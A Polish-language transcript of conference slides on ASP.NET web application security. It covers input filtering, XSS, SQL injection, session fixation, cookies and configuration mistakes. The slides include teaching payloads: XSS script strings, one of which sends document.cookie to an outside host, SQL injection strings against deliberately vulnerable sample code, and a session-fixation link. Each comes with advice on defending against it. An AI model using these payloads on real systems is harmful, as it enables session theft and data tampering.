ASP.NET. Gerard Frankowski. XVI Spotkanie Poznańskiej Grupy ASP.NET 2009



Podobne dokumenty
Poznańskie Centrum Superkomputerowo-Sieciowe Operator sieci PIONIER oraz POZMAN Uczestnik projektów naukowo-badawczych Główne obszary zainteresowań:

Udostępnianie bezpiecznych usług. ug w sieci Internet. Gerard Frankowski. VII Seminarium StartUp-IT 2008

sklepów w internetowych Gerard Frankowski, BłaŜej Miga PCSS

Gerard Frankowski, Zespół Bezpieczeństwa PCSS. Nowoczesne technologie bliżej nas Poznań,

Bezpieczeństwo aplikacji webowych

Zabezpieczanie platformy Windows Server 2003

IIS hacking. BłaŜej Miga Gerard Frankowski. Zespół Bezpieczeństwa PCSS Centrum Innowacji Microsoft. Konferencja SecureCON Wrocław,

IIS Bezpieczny hosting

Bezpieczeństwo danych i usług w Internecie na przykładzie technologii e-sklepówe

Projektowani Systemów Inf.

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Bezpieczne strony WWW dla edukacji, organizacji non-profit i uŝytkowników indywidualnych.

Bezpieczeństwo aplikacji. internetowych. 2. Szkolenie dla administratorów stron internetowych hufców Śląskiej Chorągwi ZHP

Bezpieczeństwo serwera Microsoft IIS v. 7.0

Zespół Bezpieczeństwa PCSS. 36. Spotkanie Poznańskiej Grupy.NET

Bezpieczne udostępnianie usług www. BłaŜej Miga Zespół Bezpieczeństwa PCSS

Zabezpieczanie platformy Windows Server 2003

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet

ZagroŜenia w sieci. Tomasz Nowocień, PCSS

OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

Bezpieczeństwo systemów komputerowych

TOPIT Załącznik nr 3 Programowanie aplikacji internetowych

Tomasz Nowocień, Zespół. Bezpieczeństwa PCSS

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

The OWASP Foundation Session Management. Sławomir Rozbicki.

Usługi ze wsparciem Centrum Innowacji Microsoft. Jerzy Mikołajczak, Marek Zawadzki

Konta uŝytkowników. Konta uŝytkowników dzielą się na trzy grupy: lokalne konta uŝytkowników, domenowe konta uŝytkowników, konta wbudowane

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Konfiguracja programu pocztowego Outlook Express i toŝsamości.

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

PLAN WYNIKOWY PROGRAMOWANIE APLIKACJI INTERNETOWYCH. KL IV TI 6 godziny tygodniowo (6x15 tygodni =90 godzin ),

OCHRONA PRZED RANSOMWARE

Programowanie komponentowe. Przykład 1 Bezpieczeństwo wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz

Praktyczne wykorzystanie mechanizmów zabezpieczeń w aplikacjach chmurowych na przykładzie MS Azure

Wybrane działy Informatyki Stosowanej

Aspekty bezpieczeństwa aplikacji internetowych

Serwer SSH. Wprowadzenie do serwera SSH Instalacja i konfiguracja Zarządzanie kluczami

Poznańskie Centrum Superkomputerowo - Sieciowe

OCHRONA PRZED RANSOMWARE. Konfiguracja ustawień

Audyty bezpieczeństwa dla samorządów i firm. Gerard Frankowski, Zespół Bezpieczeństwa PCSS

Kim jesteśmy? PCSS i MIC. Paweł Berus, Zespół Bezpieczeństwa PCSS

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne

Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07

Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa,

Opis Przedmiotu Zamówienia na przeprowadzenie testów bezpieczeństwa systemu wspomagania nadzoru archiwalnego e-nadzór

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

1 Powłoka programu Windows PowerShell Skrypty programu Windows PowerShell Zarządzanie dziennikami... 65

Plan. Stan sesji (1/2) Stan sesji (2/2) Stan sesji Tworzenie przycisku Integracja prostego formularza z raportem Tworzenie formularza z raportem

Sposoby tworzenia projektu zawierającego aplet w środowisku NetBeans. Metody zabezpieczenia komputera użytkownika przed działaniem apletu.

Jak skonfigurować bezpieczną sieć bezprzewodową w oparciu o serwer RADIUS i urządzenia ZyXEL wspierające standard 802.1x?

Aktualny stan i plany rozwojowe

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Dokonaj instalacji IIS opublikuj stronę internetową z pierwszych zajęć. Ukaże się kreator konfigurowania serwera i klikamy przycisk Dalej-->.

Wykorzystanie protokołu SCEP do zarządzania certyfikatami cyfrowymi w systemie zabezpieczeń Check Point NGX

Aplikacje internetowe - laboratorium

Wojciech Dworakowski. Zabezpieczanie aplikacji. Firewalle aplikacyjne - internetowych

Analiza skuteczności zabezpieczeń przed atakami na aplikacje Web

ZAAWANSOWANE BAZY DANYCH I HURTOWNIE DANYCH MySQL, PHP

Komunikator internetowy w C#

Spis treści. Dzień 1. I Wprowadzenie (wersja 0906) II Dostęp do danych bieżących specyfikacja OPC Data Access (wersja 0906) Kurs OPC S7

Kontrola dostępu w ASP.NET

Deduplikacja danych. Zarządzanie jakością danych podstawowych

Wykład 3 Inżynieria oprogramowania. Przykład 1 Bezpieczeństwo(2) wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz

Zaawansowane aplikacje internetowe - laboratorium

1 Implementowanie i konfigurowanie infrastruktury wdraŝania systemu Windows... 1

INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII

Specyfikacja techniczna. mprofi Interfejs API

Zewnętrzne audyty bezpieczeństwa

platforma zapewniająca usługi wirtualizacji

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

ZagroŜenia w sieciach teleinformatycznych. Sposoby zabezpieczeń.

ZagroŜenia w sieciach teleinformatycznych. Sposoby zabezpieczeń.

ActiveXperts SMS Messaging Server

INFORMATOR TECHNICZNY WONDERWARE. Ograniczenie wyświetlania listy zmiennych w przeglądarce zmiennych ActiveFactory

Bezpieczeństwo aplikacji PHP hostowanych w środowisku. Windows. Gerard Frankowski, PCSS

SQL injection. Metody włamań do systemów komputerowych p. 1/13. Bogusław Kluge, Karina Łuksza, Ewa Makosa

Specyfikacja instalacji usługi SMS Premium w Przelewy24.pl

Aplikacje WWW - laboratorium

Marek Krauze

Dokumentacja fillup - MS SQL

Protokół HTTP. 1. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Kurs OPC S7. Spis treści. Dzień 1. I OPC motywacja, zakres zastosowań, podstawowe pojęcia dostępne specyfikacje (wersja 1501)

XQTav - reprezentacja diagramów przepływu prac w formacie SCUFL przy pomocy XQuery

Programowanie Komponentowe WebAPI

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Sterowniki urządzeń zewnętrznych w pracy lokalnej i sieciowej w programach firmy InsERT dla Windows

Program szkolenia: Bezpieczny kod - podstawy

Wdrożenie modułu płatności eservice. dla systemu Zen Cart

R o g e r A c c e s s C o n t r o l S y s t e m 5

(Pluggable Authentication Modules). Wyjaśnienie technologii.

Materiały oryginalne: ZAWWW-2st1.2-l11.tresc-1.0kolor.pdf. Materiały poprawione

Zdalna obsługa transcievera. H A M R A D I O D E L U X E R e m o t e S e r v e r C o n f i g u r a t i o n

PHP może zostać rozszerzony o mechanizmy dostępu do różnych baz danych:

Internetowy moduł prezentacji WIZYT KLIENTA PUP do wykorzystania np. na stronie WWW. Wstęp

Budowa aplikacji ASP.NET z wykorzystaniem wzorca MVC

ZPKSoft WDoradca. 1. Wstęp 2. Architektura 3. Instalacja 4. Konfiguracja 5. Jak to działa 6. Licencja

INFORMATOR TECHNICZNY WONDERWARE

System. Instalacja bazy danych MySQL. Autor : Piotr Zielonka tel Piotrków Tryb., sierpień 2018r.

KONFIGURACJA PRZEGLĄDAREK. Poniższa konfiguracja dedykowana jest dla Bankowości Internetowej SGB

Transkrypt:

Bezpieczeństwo usług ug w ASP.NET Gerard Frankowski Zespół Bezpieczeństwa PCSS XVI Spotkanie Poznańskiej Grupy ASP.NET Poznań, 26.02.2009 2009

Agenda Kim jesteśmy i co robimy? - PCSS i Zespół Bezpieczeństwa - Centrum Innowacji Microsoft Bezpieczeństwo IT a aplikacje webowe - Odpowiedzialność za bezpieczeństwo - ZagroŜenia i podatności aplikacji WWW Bezpieczeństwo aplikacji w ASP.NET - Bezpieczna implementacja kodu aplikacji - Konfiguracja ASP.NET Podsumowanie, pytania, dyskusja 2

Cel prezentacji Podniesienie świadomości na temat zagroŝeń związanych z niezabezpieczonymi aplikacjami w ASP.NET i wskazanie metod ochrony Prezentacja jest przeznaczona dla: - Programistów aplikacji ASP.NET - Administratorów serwerów hostujących aplikacje ASP.NET - Specjalistów ds.. zabezpieczeń (częściowo) Wiele przytoczonych zasad ma charakter ogólny 3

Kim jesteśmy i co robimy? 4

PCSS Poznańskie Centrum Superkomputerowo-Sieciowe Operator sieci PIONIER oraz POZMAN Uczestnik projektów naukowo-badawczych Główne obszary zainteresowań: - Gridy, sieci nowej generacji, portale - Bezpieczeństwo sieci i systemów http://www.pcss.pl 5

Zespół Bezpieczeństwa PCSS Zespół Bezpieczeństwa PCSS istnieje od 1996r. - Zabezpieczanie infrastruktury PCSS - Zadania bezpieczeństwa w projektach R&D - Szkolenia, transfer wiedzy - Badania własne - Usługi zewnętrzne Najciekawsze badania z ostatnich lat - Bezpieczeństwo komunikatorów internetowych - Badania sieci bezprzewodowych na terenie Poznania - Raport nt. bezpieczeństwa bankowości elektronicznej - Bezpieczeństwo serwerów WWW (Apache, MS IIS) - Bezpieczeństwo sklepów internetowych http://security.psnc.pl 6

Centrum Innowacji Microsoft Centrum bezpieczeństwa i usług outsourcingowych Partnerzy - Microsoft Polska - Poznańskie Centrum Superkomputerowo-Sieciowe - Politechnika Poznańska Otwarcie: 1.06.2006 r. http://mic.psnc.pl 7

Wybrane zadania MIC 2006-2009 Technologie - Interoperacyjność - Wirtualizacja - Wysokowydajne obliczenia komputerowe (HPC) - Wykorzystanie technologii Silverlight - Bezpieczne telekonsultacje medyczne Bezpieczeństwo - Program szkoleń bezpieczeństwa - Badania bezpieczeństwa serwera MS IIS - Program audytów bezpieczeństwa dla samorządów i MŚP Usługi - Bezpłatny hosting dla uczelni, kół naukowych, organizacji non-profit oraz studentów - Hosting portali społecznościowych, np. itcore.pl 8

Bezpieczeństwo IT a aplikacje webowe 9

Dlaczego bezpieczeństwo jest problemem dla twórców usług? Dobrze Drogo Niebezpiecznie Bezpiecznie Źle Tanio 10

Kto odpowiada za bezpieczeństwo? Decydenci / projektanci - Pomysł jaka usługa będzie oferowana? - Przetarg: koszt, uŝyteczność a bezpieczeństwo Programiści - Odpowiednia implementacja projektu - Ograniczani przez zakres projektu oraz czas Administratorzy - Konfigurują i udostępniaj pniają usługę, system operacyjny, sieć, urządzenia dostępowe,... - Ograniczeni przez moŝliwości usług i systemów, budŝet na bezpieczeństwo,... UŜytkownicy - Bezpieczeństwo to nie problem uŝytkownika... -...ale musi on znać niezbędne dobre praktyki 11

Specyfika usług internetowych Większość usług ma za zadanie dotrzeć do maksymalnie licznej grupy docelowej - Przeciętny uŝytkownik nie posiada wiedzy na temat bezpieczeństwa IT - Usługi są często zorientowane na uŝyteczność, a nie na bezpieczeństwo Charakter przetwarzanych danych - Dane uwierzytelniające, osobowe (adres, wiek, hasła dostępowe,,...) - Historia działań (np. zakupów) - Numery kart kredytowych, płatności elektroniczne 12

Ogólne zagroŝenia usług ug WWW Ataki na serwery sieciowe - Szpiegostwo przemysłowe - Szkodzenie konkurencji Ataki na serwery i komputery uŝytkowniku ytkowników - Przejmowanie maszyn - KradzieŜ mocy obliczeniowej - KradzieŜ danych osobowych i toŝsamo samości - Rozsyłanie spamu - SzantaŜ - Organizowanie botnetów ataki DDoS itd. 13

Wybrane podatności aplikacji WWW Błędy w projekcie i kodzie - Błędy w projektowaniu funkcjonalności - Znaczenie filtrowania danych Ataki XSS (Cross( Site Scripting) Ataki SQL Injection Ataki Remote Code Execution - Sesje internetowe Błędy w konfiguracji serwerów - Ataki Information Disclosure - Konfiguracja ASP.NET - Konfiguracja serwerów: IIS, MS SQL Server,,... PowyŜsza lista absolutnie nie wyczerpuje tematu! 14

Podatności bezpieczeństwa w kodzie źródłowym 15

Główna przyczyna problemów Nieodpowiednie filtrowanie danych (lub jego brak) to bezpośredni rednia przyczyna większo kszości najpowaŝniejszych niejszych luk bezpieczeństwa - Przepełnienie bufora (języki C/C++) - Błędy ciągów formatujących (C/C++) - XSS (Cross( Site Scripting) - SQL Injection - Remote Code Execution Nie moŝna ufać ć Ŝadnym Ŝ danym wejściowym, zwłaszcza pochodzącym cym od uŝytkownikau - TakŜe: bazy danych, zmienne środowiskowe,... ALL INPUT IS EVIL!!! 16

Jak sytuacja wygląda w praktyce? Grafika: http://webappsec.org 17

Filtrowanie danych (1) Nie najlepsze pomysły - Brak filtrowania danych - Filtrowanie danych po stronie klienta 18

Filtrowanie danych (2) Czarne listy ( (black lists) - Definiujemy wzorce odrzucanych danych - Zwykle wzorce pełni nią rolę sygnatur ataków - Pozostałe e dane są s dopuszczane - Zaleta: często prostsza definicja - Wada: zbiór r złośliwych z danych zwykle trudno ściśle określi lić Białe e listy ( (white lists) - Definiujemy wzorce danych dopuszczanych - Wszystkie dane niepasujące do wzorca odrzucamy - Zaleta: dobrze zdefiniowana lista nie przepuści złośliwego z kodu - Wada: dla skomplikowanych pól p l (np( np.. treść e-kartki z podzbiorem znaczników w HTML) łatwo popełni nić błąd d w definicji listy 19

Filtrowanie danych (3) WyraŜenia regularne - Przy ich pomocy łatwo zaimplementować białe e i czarne listy - Przykład: przesłanie polskiego kodu pocztowego w adresie URL (metoda GET - parametr code) <% set code = request.querystring querystring(" ("code") set re = new RegExp re.pattern Pattern="^[0-9]{2,2}-[0-9]{3,3}$" if re.test.test(code) then ' Prawidlowy kod - normalne wykonanie skryptu else ' Bledny kod - instrukcje obslugi bledow end if %> 20

Filtrowanie danych (4) Dodatkowe mechanizmy weryfikacji - Sprawdzanie typu i wartości - Enumeracja wartości (np( np.. dni tygodnia, nazwy miesięcy) 21

Atak XSS - opis XSS: Cross Site Scripting - ZagroŜone one są s strony, na których wyświetlana wietlana treść częś ęściowo zaleŝy y od uŝytkownikau komentarze, fora dyskusyjne formularze internetowe, wyszukiwarki strony pobierające parametry tekstowe metodą POST/GET Opis ataku - Napastnik wysyła a do podatnej strony ciąg g znaków w będącyb kodem np. JavaScript Hej, to mój m j komentarz: <script< script>alert( >alert(document.cookie);</ );</script> - Ciąg znaków staje się elementem strony WWW, - UŜytkownik-ofiara wyświetla zainfekowaną stronę - Przeglądarka uŝytkownika wykonuje kod agresora 22

Przygotowujemy atak XSS Najprostszy formularz w ASP <html><body> Hello, <% response.write(" " & request.querystring("name")) %> </body></html> http://localhost/test.asp?name=word

XSS najprostsze przykłady http://localhost/test.asp?name=word<script>aletrt(1)</script> http://localhost/test.asp?name=word<script>alert(document.cookie)</script>

XSS ochrona aplikacji Przypadek: prosty formularz <form name="formxss" method="get" action="./user.asp"> The start year is 2003.<br>Enter the end year: <input type="text" name="endyear"><br> <input type="submit" value="wyślij"> </form> Plik user.asp wykonuje długotrwałe obliczenia dla lat 2004 - endyear

Jak uchronić się przed atakiem DoS?

Naiwne filtrowanie danych u klienta Zabrońmy uŝytkownikowi wpisania dowolnej liczby! The start year is 2003.<br>Enter the end year: <select name="endyear"> <option value='2004'>2004</option> <option value='2005'>2005</option> <option value='2006'>2006</option> <option value='2007' selected>2007</option> </select> Jest to równowaŝne innym metodom sprawdzania poprawności danych po stronie klienta (formatu, zakresu danych itp.).

Ominięcie naiwnych zabezpieczeń Najprostszy sposób ominięcia ograniczeń http://localhost/test/form.php?endyear=999999 Wysyłanie formularza metodą POST jest bezpieczniejsze <form name="formxss" method="post" action="http://localhost/test/user_post.asp"> The start year is 2003.<br>Enter the end year:

Ale wystarczy przechwycić Ŝądanie...

Ataki XSS - zagroŝenia (1) Utrudnianie Ŝycia uŝytkownikomu - Wyskakujące okienka MessageBox KradzieŜ danych sesji uŝytkownikau - Przesyłanie cookies na serwer kontrolowany przez napastnika - <script>document.location= http://www.test.com.pl?a= +document.cookie</script> Nieautoryzowany dostęp p do danych i operacji - <script>document.location=./admin/delete.php?id=666" ;</script> 30

Ataki XSS - zagroŝenia (2) Ataki DoS na przeglądark ądarkę - <MARQUEE><TABLE><MARQUEE HEIGHT=999999> - Więcej informacji: http://lcamtuf.coredump.cx/soft/mangleme.tgz Zaawansowane ataki XSS - Skanowanie portów w TCP w sieci lokalnej ofiary http://www.gnucitizen.org/projects/javascript-port-scanner - Podsłuchiwanie rozmów w (ActiveX( EasycallLite.ocx ocx) - Odwołania do wybranych stron z przeglądarki ofiary 31

XSS ochrona aplikacji (1) Weryfikacja danych po stronie serwera jest niezbędna - Zwykle najlepszym sposobem jest podejście whitelist - Najlepiej zastosować wyraŝenia regularne dla sprawdzenia formatu jeśli to zasadne dodatkową weryfikację zakresu - Podejście blacklist jest mniej przydatne, choć lepsze niŝ brak zabezpieczeń Oczywiście cie kontrola po stronie klienta teŝ jest przydatna - PomoŜe e uŝytkownikowi u (bardziej intuicyjny interfejs) - Zablokuje najgłupsze ataki

XSS ochrona aplikacji (2) Chronimy nasz formularz set year = request.querystring("endyear") set re = new RegExp re.pattern="^[0-9]{4}$" if re.test(year) then if year > 2003 and year < 2008 then for i = 2004 to year response.write("<br>i am making long computations for year " & i) else else end if next end if response.write("<br>you have entered a bad year number") response.write("<br>you have not entered a year number")

XSS ochrona aplikacji (3) Wbudowane mechanizmy ochrony Opcja dostępna od ASP.NET 1.0: ValidateRequest - więcej informacji: http://msdn2.microsoft.com/en- us/library/ms972967.aspx <%@ Page validaterequest= true... Od ASP.NET 1.1: HttpRequest.ValidateInput - Weryfikacja: zapytania, danych formularza oraz ciasteczek - Nie moŝna wpływa ywać na szczegóły y działania ania - Zgłasza wyjątek HttpRequestValidationException - Więcej informacji: http://msdn2.microsoft.com/en- us/library/system.web.httprequest.validateinput(vs.71).aspx

XSS ochrona aplikacji (4) Uwaga na HttpRequest.ValidateInput ValidateInput! try { HttpRequest.ValidateInput(); //str = HttpRequest.Form.AllKeys[0]; } catch(httprequestvalidationexception e) { // bez odkomentowania wyjatek HttpRequestValidationException // nigdy nie zostanie zgloszony } Funkcja sama w sobie nie powoduje przeprowadzenia walidacji, ustawia jedynie flagi wymuszające walidację po próbie dostępu do kolekcji QueryString, Form i Cookies obiektu HttpRequest -Więcej: http://weblogs.asp.net/vga/archive/2003/05/02/6329.aspx

Atak SQL Injection SQL Injection atak na bazę danych - ZagroŜone one są s strony budujące zapytania bazodanowe przy pomocy parametrów w uzyskanych od uŝytkownikau Przebieg ataku - Napastnik przekazuje złośliwe z parametry do zapytania - Sfałszowane zapytanie powoduje wyświetlenie wietlenie na wynikowej stronie WWW innych danych niŝn zakładano, adano, ich większej ilości lub informacji o strukturze bazy - W skrajnym przypadku zostaje wykonane polecenie języka obsługi baz danych - Napastnik moŝe e uzyskać dalsze informacje, pozwalające mu lepiej ukierunkować atak 36

Atak SQL Injection - podatny kod Strona pobiera z formularza parametr nazwisko set nazwisko = request.form("nazwisko") set objconn = Server.CreateObject("ADODB.Connection") objconn.open <CONNECTION_STRING> strsql = "SELECT * FROM pensje WHERE Nazwisko ='" strsql = strsql & nazwisko strsql = strsql & "'" set objrs = Server.CreateObject("ADODB.Recordset") objrs.open strsql, objconn do while not objrs.eof response.write("<br>") for each x in objrs.fields response.write(" " & x.name & " = " & x.value & " ") next objrs.movenext loop objconn.close 37

Atak SQL Injection - przykład Dostęp do danych Nazwisko: Baker or 1=1-- SQL Server 2005 SELECT * FROM pensje WHERE Nazwisko = Baker or 1=1-- 38

Atak SQL Injection - przykład 2 Modyfikacja danych - Nazwisko: ' insert into pensje (Lp, Imie, Nazwisko, Pensja) values (5, Gerard, Frankowski', 10000)-- SQL Server 2005 39

Atak SQL Injection - zagroŝenia Nieautoryzowany dostęp p do danych Modyfikacja rekordów w bazy danych Dodanie lub usunięcie rekordów Usunięcie bazy danych Wykonywanie poleceń ń środowiska ś bazy danych i potencjalnie poleceń systemowych 40

Atak SQL Injection - obrona Odpowiedzialny: programista - Filtrowanie danych wejściowych uŝytkownika u pod kątemk obecności ci znaków w specjalnych uŝywanej u wersji językaj obsługi baz danych - Filtrowanie równier wnieŝ danych odczytanych z bazy! Odpowiedzialny: administratora - Bezpieczna konfiguracja k środowiska bazodanowego Zasada minimalnych uprawnień Odpowiednia polityka kontroli dostępu - Restrykcje dostępu na poziomie systemu operacyjnego Odpowiedzialność jest wspólna, a najlepsze rezultaty przyniesie połączenie wysiłków 41

SQL Injection - przykład 2 ;) Grafika: http://xkcd.com/327 42

Sesja internetowa Protokół HTTP jest bezstanowy - RozróŜnianie toŝsamości uŝytkowników jest kluczowe dla korzystania z e-usług Sesja internetowa Identyfikowany przez session ID zbiór r informacji o połą łączeniu 43

Ataki na sesje przykład Warunki - Usługa umoŝliwia zdefiniowanie własnego w session ID Przebieg ataku - Napastnik podsuwa p ofierze link Jak oszukać skarbówkę?? KliknijK tutaj! Pod linkiem kryje się URL: http://usluga usluga.pl/< /<script>document.cookie= sessionid=abcd ;</script> - Ofiara klika link,, co powoduje nawiązanie sesji z usług ugą usluga.pl z identyfikatorem sesji abcd - Napastnik co jakiś czas próbuje nawiąza zać sesję z tym samym identyfikatorem - Po udanej próbie napastnik przechwytuje sesję ofiary 44

Ataki na sesje zagroŝenia Ujawnienie informacji o serwerze - Poszczególne serwery WWW obsługują sesje w róŝny sposób KradzieŜ sesji uŝytkownikau - Podszycie się pod ofiarę - KradzieŜ toŝsamo samości ofiary... -... i jej konsekwencje: kradziek radzieŝ danych, zawarcie fałszywej umowy, kradzieŝ środków w finansowych, uzyskanie danych będących podstawą do szantaŝu,... - JeŜeli eli powiodło o się przejęcie sesji administratora serwisu, moŝliwe jest wykonanie dowolnego działania ania w ramach portalu 45

Czy te zagroŝenia są realne? Styczeń 2008 - testy 50 sklepów internetowych przeprowadzone przez Zespół Bezpieczeństwa PCSS - Test 1 niedozwolone znaki w nazwie ciasteczka - Test 2 próba wymuszenia błędu zapisu pliku sesji - Test 3 odpowiedni czas Ŝycia ciasteczka - Test 4 odpowiedni czas Ŝycia sesji - Test 5 moŝliwość wymuszenia identyfikatora sesji - Test 6 powiązanie identyfikatora sesji z adresem IP - Test 7 stosowanie atrybutu httponly Więcej: http://security.psnc.pl/reports/sklepy_internetowe_cookies.pdf 46

Rezultaty Test 1 Test 2 Test 3 Test 4 Test 5 Test 6 Test 7 Kolor czerwony i pochodne niebezpiecznie Kolor zielony bezpiecznie 47

Jak moŝna przechowywać dane sesji? Przesyłanie metodą GET w adresie URL - Wyjątkowo podatne na ataki Wykorzystanie ukrytych pól formularzy - Podatne na ataki - Komplikuje budowę serwisu Ciasteczka (cookies( cookies) - Przechowywane na serwerze w bazie danych lub w plikach sesji - Przechowywane po stronie klienta za pośrednictwem przeglądarki jako cookie 48

Zawartość ciasteczka Nazwa oraz skojarzona z nią wartość - Szczególnym z punktu widzenia bezpieczeństwa przypadkiem są cookies zawierające informacje o sesji uŝytkownika - Informacje o sesji w ASP.NET Identyfikator sesji jest 120-bitowym przypadkowym ciągiem znaków, reprezentowanym przez 20-znakowy łańcuch Nazwa ciasteczka brzmi ASP.NET_SessionId Data wygaśnięcia Domena (dokąd przeglądarka moŝe wysłać cookie) ŚcieŜka (skąd ciasteczko jest widoczne na serwerze) Atrybuty dodatkowe 49

Zwykłe e ciasteczko w ASP.NET <% %> HttpCookie cookie = new HttpCookie( licznik ); cookie.name cookie.value = licznik ; = yes ; cookie.expires = #01/10/2008 11:00:00#; cookie.domain cookie.path = www.example.com ; = /licznik_dir ; Response.Cookies.Add(cookie); 50

ZagroŜenie atakiem Session Fixation Atak polega na nawiązaniu przez napastnika sesji o określonym identyfikatorze - Skłonienie ofiary do nawiązania sesji o konkretnym ID - Brak uniewaŝniania wykorzystanych ID sesji Platforma Microsoft ASP nie zapewnia bezpośredniego wsparcia dla powtórnej generacji ID sesji - Microsoft zamknął zgłoszenie uŝytkownika we wspomnianym zakresie, uznając je za nie do naprawienia (https://connect.microsoft.com/feedback/viewfeedback.aspx?fe edbackid=143361&wa=wsignin1.0&siteid=210) - Niestety, ASP nie pozwala ponadto na bezpośredni dostęp (zapis) do cookie ASP.NET_SessionId 51

Session fixation - ochrona Porady Microsoftu dostępne pod adresem: - http:// ://support.microsoft.com/kb/899918 Podejście OWASP: - Generacja dodatkowego ciasteczka, któremu nadajemy wartość toŝsamą z ID sesji (moŝemy ją odczytać) - Porównywanie zawartości dodatkowego ciasteczka z ID sesji - JeŜeli wartości są róŝne, uniewaŝniamy sesję - Więcej informacji + przykład http://www.owasp.org/index.php/session_fixation_protection Wykorzystanie uwierzytelniania Windows Forms zmniejsza zagroŝenie dzięki uŝyciu dodatkowego tokena 52

Czas waŝno ności ciasteczka Im dłuŝszy czas waŝności, tym łatwiejsze jest przejęcie sesji o wykradzionym identyfikatorz (Session Hijacking) Czas waŝności sesji zaleŝy od tego, jak cenna jest aplikacja - Bankowość internetowa - rzędu kilku(nastu nastu) ) minut - Serwis społecznościowy,, bramka SMS - np.. godzina - Standard OWASP: 5 minut! Dim mycookie As New HttpCookie( ( testcookie ) Dim expdate As DateTime expdate = DateTime.Now..Now.AddMinutes(5) mycookie.expires = expdate Response.Cookies.Add(myCookie mycookie) 53

Właściwości obiektu HttpCookie (1) Właściwość HttpOnly - Określa, czy cookie moŝe zostać odczytane poprzez aktywną zawartość witryny - Pozwala uchronić się przed atakami XSS wykonywanymi przy pomocy wstrzyknięcia kodu typu <script>... >...document.cookie<script script> Właściwość Secure - Definiuje poziom bezpieczeństwa ciasteczka (jest flagą) - Jeśli ustawiona, umoŝliwia obsługę cookie tylko za pośrednictwem protokołu HTTPS 54

Właściwości obiektu HttpCookie (2) Definicja bezpieczniejszego ciasteczka Dim mycookie As New HttpCookie( testcookie ) mycookie.httponly = true mycookie.secure = true Response.Cookies.Add(cookie) 55

Powiązanie ID sesji z adresem IP Przesłanie ciasteczka o danym ID spod innego adresu, niŝ zapisany po stronie serwera powoduje uniewaŝnienie sesji Zaleta: poprawa bezpieczeństwa - Zabezpieczenie przed kradzieŝą sesji Wady: - Utrudnienie korzystania z usług uŝytkownikom bez stałego adresu IP Realny przykład byłby dość skomplikowany ;) zachęcam do testów własnych 56

Bezpieczne sesje - podsumowanie Odpowiedzialność po stronie administratora - Odpowiednia konfiguracja serwera WWW /.NET Unikanie wyświetlania wietlania szczegółowych informacji o błęb łędach uŝytkownikowi Odpowiedzialność po stronie projektanta/programisty - Bezpieczna konfiguracja sesji Najlepsze wyniki przyniesie połączenie obu podejść 57

Błędy w konfiguracji ASP.NET 58

Pliki konfiguracyjne ASP.NET Specyfika plików konfiguracyjnych ASP.NET - Pliki tekstowe w formacie XML - Brak dedykowanego narzędzia producenta wspierającego edycję Pliki konfiguracyjne dla komputera - machine.config config (%SystemRoot%\Microsoft.NET\Framework\%wersja%\CONFIG\) Pliki konfiguracyjne dla aplikacji - web.config (w katalogu głównym i/lub podkatalogach) Pliki konfiguracji zabezpieczeń Code Access Security - Enterprise Policy: enterprisesec.config config - Machine and User Policy: security.config config - ASP.NET Policy: web_hightrust hightrust.config, web_mediumtrust mediumtrust.config, web_lowtrust lowtrust.config, web_minimaltrust minimaltrust.config 59

Top 10 don ts in ASP.NET configuration files (1) PoniŜsze błędne praktyki dotyczyć mogą wszystkich aplikacji webowych opartych na ASP.NET - Custom Errors Disabled - Leaving Tracing Enabled - Leaving Debugging Enabled - Cookies Accessible Through Client-Side Script - Cookieless Session State Enabled Więcej informacji: - http:// ://www.devx.com/dotnet/article Article/32493 60

Custom Errors Disabled Nieprawidłowa konfiguracja <configuration> <system.web> <customerrors mode="off"> Prawidłowa konfiguracja <configuration> <system.web> Znaczenie: <customerrors mode="remoteonly"> - Wyłą łączenie trybu customerrors spowoduje, Ŝe zdalny uŝytkowniku ujrzy szczegół ółowy opis błęb łędu, takŝe e z fragmentami kodu - Dla lokalnych Ŝąda dań warto pozostawić tryb debugowy 61

Nieprawidłowa konfiguracja 62

Prawidłowa konfiguracja 63

Prawidłowa konfiguracja (2) To jeszcze nie jest sytuacja idealna - Właściwe będzie przygotowanie własnych plików niezawierających informacji konfiguracyjnych, a np. przekazujących kontakt do administratora systemu lub helpdesku - Odpowiednia sekcja pliku machine.config config: <customerrors mode="remoteonly"> <error statuscode="404" redirect="errors/e404.htm"> <error statuscode= 500" redirect="errors/e500.htm"> </customerrors customerrors> 64

Leaving Tracing Enabled Nieprawidłowa konfiguracja <configuration> <system.web> <trace enabled="true" localonly="false"> Prawidłowa konfiguracja <configuration> <system.web> Znaczenie: <trace enabled="false" localonly="true"> - Włączenie flagi powoduje, Ŝe e zdalny uŝytkownik u moŝe e uzyskać dostęp p do duŝej ilości wraŝliwych danych, np.. struktury poprzednich Ŝąda dań do serwera, szczegółó łów w jego konfiguracji, danych przesłanych w formularzach... 65

Tajemniczy plik trace.axd axd ;) 66

